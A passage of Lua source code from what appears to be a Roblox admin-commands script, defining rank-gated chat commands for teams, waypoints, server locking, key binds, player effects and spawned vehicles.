 			Player:SaveInstance("Data", ExistingData)
 		end
 	end};
 
 	[{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local DataSet = {}
 		for _,Player in pairs(Players) do
 			local ExistingData = Player:LoadInstance("Data")
 			if ExistingData ~= nil then
 				if #ExistingData:GetChildren() ~= 0 then
 					for _,Data in pairs(ExistingData:GetChildren()) do
 						table.insert(DataSet, Player.Name..": "..Data.Name)
 					end
 				else
 					table.insert(DataSet, "Data does not exist for "..Player.Name)
 				end
 			else
 				table.insert(DataSet, "Data does not exist for "..Player.Name)
 			end
 		end
 		GUI:ListGui(Speaker, "Notes", DataSet)
 	end};
 
 	[{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
 				Player.Character.Humanoid.WalkSpeed = 16
 			end
 		end
 	end};
 
 	[{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
 				Player.Character.Humanoid.WalkSpeed = -16
 			end
 		end
 	end};
 
 	[{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local TeamColor = BrickColor.random()
 		local TeamName = Arguments[1]
 		local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
 		if #TeamNameSplit >= 2 then
 			local Color = TeamNameSplit[1]
 			local NewTeamName = TeamNameSplit[2]
 			if Color == "Medium stone grey" then
 				TeamColor = BrickColor.new(Color)
 				TeamName = NewTeamName
 			elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
 				TeamColor = BrickColor.new(Color)
 				TeamName = NewTeamName
 			elseif Colors[string.upper(Color)] then
 				TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
 				TeamName = NewTeamName
 			end
 		end
 
 		local NewTeam = Instance.new("Team", Server.Teams)
 		NewTeam.TeamColor = TeamColor
 		NewTeam.Name = TeamName
 	end};
 
 	[{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			Player.Neutral = true
 		end
 	end};
 
 	[{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		if string.lower(Arguments[2]) == "none" then
 			for _,Player in pairs(Players) do
 				Player.Neutral = true
 			end
 		else
 			for _,Obj in pairs(Server.Teams:GetChildren()) do
 				if Obj:IsA("Team") then
 					if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
 						for _,Player in pairs(Players) do
 							Player.Neutral = false
 							Player.TeamColor = Obj.TeamColor
 						end
 					end
 				end
 			end
 		end
 	end};
 
 	[{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
 		for _,Obj in pairs(Server.Teams:GetChildren()) do
 			if Obj:IsA("Team") then
 				if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
 					for _,Player in pairs(Server.Players:GetPlayers()) do
 						if Player.TeamColor == Obj.TeamColor then
 							Player.Neutral = true
 						end
 					end
 					Obj:Destroy()
 				end
 			end
 		end
 	end};
 
 	[{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
 		for _,Player in pairs(Server.Players:GetPlayers()) do
 			Player.Neutral = true
 		end
 		for _,Obj in pairs(Server.Teams:GetChildren()) do
 			if Obj:IsA("Team") then
 				Obj:Destroy()
 			end
 		end
 	end};
 
 	[{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
 		for _,Player in pairs(Server.Players:GetPlayers()) do
 			GUI:Countdown(Player, Arguments[1])
 		end
 	end};
 
 	[{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player:FindFirstChild("Backpack") then
 				CORE:ExecuteResource("ShowAd", Player.Backpack)
 			end
 		end
 	end};
 
 	[{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				for PosName,WP in pairs(Waypoints) do
 					if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
 						Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
 						break
 					end
 				end
 			end
 		end
 	end};
 
 	[{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
 		CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
 	end};
 
 	[{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Num = 0
 		for PosName,WP in pairs(Waypoints) do
 			Num = Num + 1
 			if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
 				Waypoints[PosName] = nil
 			end
 		end
 	end};
 
 	[{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
 		local WaypointHolder,WaypointRaw = {},{}
 		for Name, WP in pairs(Waypoints) do
 			local View = Name..": "..tostring(WP)
 			table.insert(WaypointHolder, View)
 			WaypointRaw[View] = WP
 		end
 		local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
 		Clicked.Event:connect(function(Text)
 			local Waypoint = WaypointRaw[Text]
 			if Waypoint then
 				if Speaker.Character then
 					Speaker.Character:MoveTo(Waypoint)
 				end
 			end
 		end)
 	end};
 
 	[{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local List = {}
 		for _,Player in pairs(Players) do
 			table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
 		end
 		GUI:ListGui(Speaker, "Listed Players", List)
 	end};
 
 	[{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
 		if tonumber(Arguments[1]) then
 			ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
 		else
 			local Players = STRING:Scan(Arguments[1], Speaker)
 			for _,Player in pairs(Players) do
 				ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
 			end
 		end
 	end};
 
 	[{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local Friends,OneFriend = {}, false
 		for _,Player in pairs(Players) do
 			for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
 				--[[if Player:IsBestFriendsWith(User.UserId) then
 					table.insert(Friends, Player.Name.." is best friends with "..User.Name)
 					OneFriend = true
 				]]
 				if Player:IsFriendsWith(User.UserId) then
 					table.insert(Friends, Player.Name.." is friends with "..User.Name)
 					OneFriend = true
 				end
 				if _ == #Server.Players:GetPlayers() and OneFriend == false then
 					table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
 				end
 			end end
 		end
 		GUI:ListGui(Speaker, "Friend List", Friends)
 	end};
 
 	[{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		Settings.ServerLocked = true
 		GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
 	end};
 
 	[{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		Settings.ServerLocked = false
 		GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
 	end};
 
 	[{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		local OldAge = Settings.MinimumAge
 		local Age = tostring(Arguments[1])
 		if Age then
 			Settings.MinimumAge = Age
 			GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
 		end
 	end};
 
 	[{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
 		if Settings.VIPAdminID <= 1 then
 			MARKET:PromptPurchase(Speaker, VIPAdminID)
 		else
 			CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
 		end
 	end};
 
 	[{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
 		if Settings.VIPMemberID <= 1 then
 			MARKET:PromptPurchase(Speaker, VIPMemberID)
 		else
 			CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
 		end
 	end};
 
 	[{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
 		if tonumber(Arguments[2]) then
 			local Players = STRING:Scan(Arguments[1], Speaker)
 			local Size = tonumber(Arguments[2])+25
 			for _,Player in pairs(Players) do
 				if Player.Character then
 					if Player.Character:FindFirstChild("Head") then
 						if Player.Character.Head:FindFirstChild("Mesh") then
 							Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
 						end
 					end
 				end
 			end
 		end
 	end};
 
 	[{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
 				Player.Character.Parent = nil
 				CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
 			end
 		end
 	end};
 
 	[{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
 		GUI:SettingsGui(Speaker)
 	end};
 
 	[{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
 		if tonumber(Arguments[2]) then
 			local Players = STRING:Scan(Arguments[1], Speaker)
 			local List = {}
 			for _,Player in pairs(Players) do
 				if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
 					table.insert(List, Player.Name)
 				end
 			end
 			GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
 		end
 	end};
 
 	[{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Head") then
 				local Char = Player.Character
 				Char:BreakJoints()
 				CORE:ScanItems(Char, {"BasePart"}, function(Obj)
 					Obj.Anchored = true
 					for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
 						local Decal = Instance.new("Decal", Obj)
 						Decal.Texture = "rbxassetid://178913323"
 						Decal.Face = Face
 					end
 				end)
 				local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
 				local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
 				Sound1:Play() Sound2:Play()
 				coroutine.wrap(function()
 					coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
 					repeat wait()
 						CORE:ScanItems(Char, {"BasePart"}, function(Obj)
 							SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
 							Obj.Transparency = math.random(0,30)/100
 							Obj.Reflectance = math.random(0,50)/100
 							Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
 						end)
 					until Char ~= Player.Character or Char.Parent == nil
 				end)()
 			end
 		end
 	end, Hidden = true};
 
 	[{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
 		GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
 	end, Http = true};
 
 	[{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
 					Obj.Material = "Neon"
 				end)
 			end
 		end
 	end};
 
 	[{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
 					Obj.Material = "Plastic"
 				end)
 			end
 		end
 	end};
 
 	[{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
 					Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
 				end)
 			end
 		end
 	end, Hidden = true};
 
 	[{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") then
 				local Pos = Player.Character.Torso.Position
 				Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
 				local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
 				if Answer == "Ok" then
 					CORE:AddWaypoint(Player.Name, Pos, Speaker)
 				end
 			end
 		end
 	end};
 
 	[{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
 		local PlayersTo = STRING:Scan(Arguments[2], Speaker)
 		if PlayersFrom and PlayersTo then
 			for _,PlayerFrom in pairs(PlayersFrom) do
 				for _,PlayerTo in pairs(PlayersTo) do
 					if PlayerFrom.Character and PlayerTo.Character then
 						if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
 							local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
 							wait(5)
 							Laser:Destroy()
 						end)() end
 					end
 				end
 			end
 		end
 	end};
 
 	[{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
 				Player.Character.Humanoid:Destroy()
 			end
 		end
 	end};
 
 	[{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		if Plugins then
 			local List = {}
 			for _,Module in pairs(Plugins:GetChildren()) do
 				if Module:IsA("ModuleScript") then
 					local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
 					local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
 					local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
 					table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
 				end
 			end
 			GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
 		else
 			GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
 		end
 	end};
 
 	[{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			GUI:DetachChat(Player)
 		end
 	end};
 
 	[{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
 		GUI:DetachChat(Speaker)
 	end};
 
 	[{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
 				local Dead = false
 
 				Player.Character.Humanoid.WalkSpeed = 1
 				local Torso = Player.Character.Torso
 				local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
 				Truck:BreakJoints()
 				local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
 				local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
 				local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
 				Truck.Touched:connect(function(Part)
 					if Dead == false then
 						local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
 						if TouchPlayer == Player then
 							Dead = true
 							Player.Character:BreakJoints()
 							SOUND:MakeSound(Truck, 264486467):Play() -- splat
 						end
 					end
 				end)
 				SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
 				Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
 				Delay(5, function()
 					Truck:Destroy()
 					if Player.Character:FindFirstChild("Humanoid") then
 						Player.Character.Humanoid.WalkSpeed = 16
 					end
 				end)
 			end
 		end
 	end};
 
 	[{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
 		local Joke = REMOTE:DownloadJoke(Speaker)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			GUI:SendMessage(Player, "Joke", Joke, 19629580)
 		end
 	end, Http = true};
 
 	[{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
 		local Joke = REMOTE:DownloadJoke(Speaker)
 		GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
 	end, Http = true};
 
 	[{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
 				CORE:InvisiblePlayer(Player)
 				local DogContainer = Instance.new("Model", Player.Character)
 				DogContainer.Name = "Doge"
 				local Dog = CORE:Insert(257489726, DogContainer, true)
 				Dog.Head.Transparency = 0.99
 				Dog.Name = Player.Name
 				Dog:MoveTo(Player.Character.Torso.Position)
 				local Weld = Instance.new("Weld", Dog.Torso)
 				Weld.Part0 = Player.Character.Torso
 				Weld.Part1 = Dog.Torso
 				Weld.C0 = CFrame.new(0,-0.4,0)
 				for _,Obj in pairs(Dog:GetChildren()) do
 					if Obj:IsA("BasePart") then
 						Obj.CanCollide = false
 					end
 				end
 
 				CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
 			end
 		end
 	end};
 
 	[{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
 		local Key = string.lower(string.sub(Arguments[1],1,1))
 		KeyBinds[Speaker.UserId][Key] = Arguments[2]
 		GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
 	end};
 
 	[{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Key = string.lower(string.sub(Arguments[1],1,1))
 		KeyBinds[Speaker.UserId][Key] = nil
 		GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
 	end};
 
 	[{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		KeyBinds[Speaker.UserId] = {}
 		GUI:SendHint(Speaker, "Unbinded all keys")
 	end};
 
 	[{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local Key = string.lower(string.sub(Arguments[2],1,1))
 		for _,Player in pairs(Players) do
 			KeyBinds[Player.UserId][Key] = Arguments[3]
 			GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
 		end
 	end};
 
 	[{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local Key = string.lower(string.sub(Arguments[2],1,1))
 		for _,Player in pairs(Players) do
 			KeyBinds[Player.UserId][Key] = nil
 			GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
 		end
 	end};
 
 	[{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			KeyBinds[Player.UserId] = {}
 			GUI:SendHint(Player, "Unbinded all keys")
 		end
 	end};
 
 	[{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local Binds = {}
 		for _,Player in pairs(Players) do
 			for Key,Bind in pairs(KeyBinds[Player.UserId]) do
 				table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
 			end
 		end
 		GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
 	end};
 
 	[{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
 		local Players = STRING:Scan(ChatSplit[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Crowns[Player.UserId] then
 				Crowns[Player.UserId]:Destroy()
 				Crowns[Player.UserId] = nil
 				wait()
 			end
 			CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
 		end
 	end};
 
 	[{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Crowns[Player.UserId] then
 				Crowns[Player.UserId]:Destroy()
 				Crowns[Player.UserId] = nil
 			end
 		end
 	end};
 
 	[{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
 		local MeshList = {}
 		for MeshName,Data in pairs(Meshes) do
 			table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
 		end
 		GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
 	end};
 
 	[{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
 	end};
 
 	[{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
 				ypcall(function() Player.Character.Torso.roblox:Destroy() end)
 				Player:ClearCharacterAppearance()
 				CORE:GivePackage(Player, 41851073)
 				CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
 				Player.Character.Head.face.Texture = "rbxassetid://7699086"
 			end
 		end
 	end};
 
 	[{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
 			local Car = CORE:Insert(10479801, Server.Workspace, true)
 			local Body = Car["Motor (torque)Chassis"].Part
 			Cars[Player.UserId] = Car
 			Car:MakeJoints()
 			Car.VehicleSeat.MaxSpeed = 50
 			Car.VehicleSeat.TurnSpeed = 1.5
 			CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
 			if Arguments[2] and GUI:GetColor(Arguments[2]) then
 				Body.Color = GUI:GetColor(Arguments[2])
 			else
 				Body.BrickColor = GUI:GetNameColor(Player.Name)
 			end
 			for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
 				if Part.Name ~= "Part" then
 					Part.BrickColor = BrickColor.new("Really black")
 					Part.Friction = 0.7
 				end
 			end
 			local Light = Instance.new("SpotLight", Body)
 			Light.Face = "Back"
 			Light.Brightness = 5
 			Light.Range = 20
 			Light.Color = Color3.new(0,1,1)
 			if Player.Character and Player.Character.Torso then
 				Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
 				Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
 				--[[local Weld = Instance.new("Weld", Car.VehicleSeat)
 				Weld.Part0 = Car.VehicleSeat
 				Weld.Part1 = Player.Character.Torso
 				coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
 				Delay(0.4, function()
 					Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
 					wait(0.1)
 					Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
 				end)
 			end
 			local SoundID = 147944604
 			if RANK:GetRank(Player) == "Owner" then
 				SoundID = 133313356
 				Car.VehicleSeat.MaxSpeed = 80
 				Body.Material = "DiamondPlate"
 				Car.VehicleSeat.Torque = 11
 			end
 			local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
 			Engine:Play()
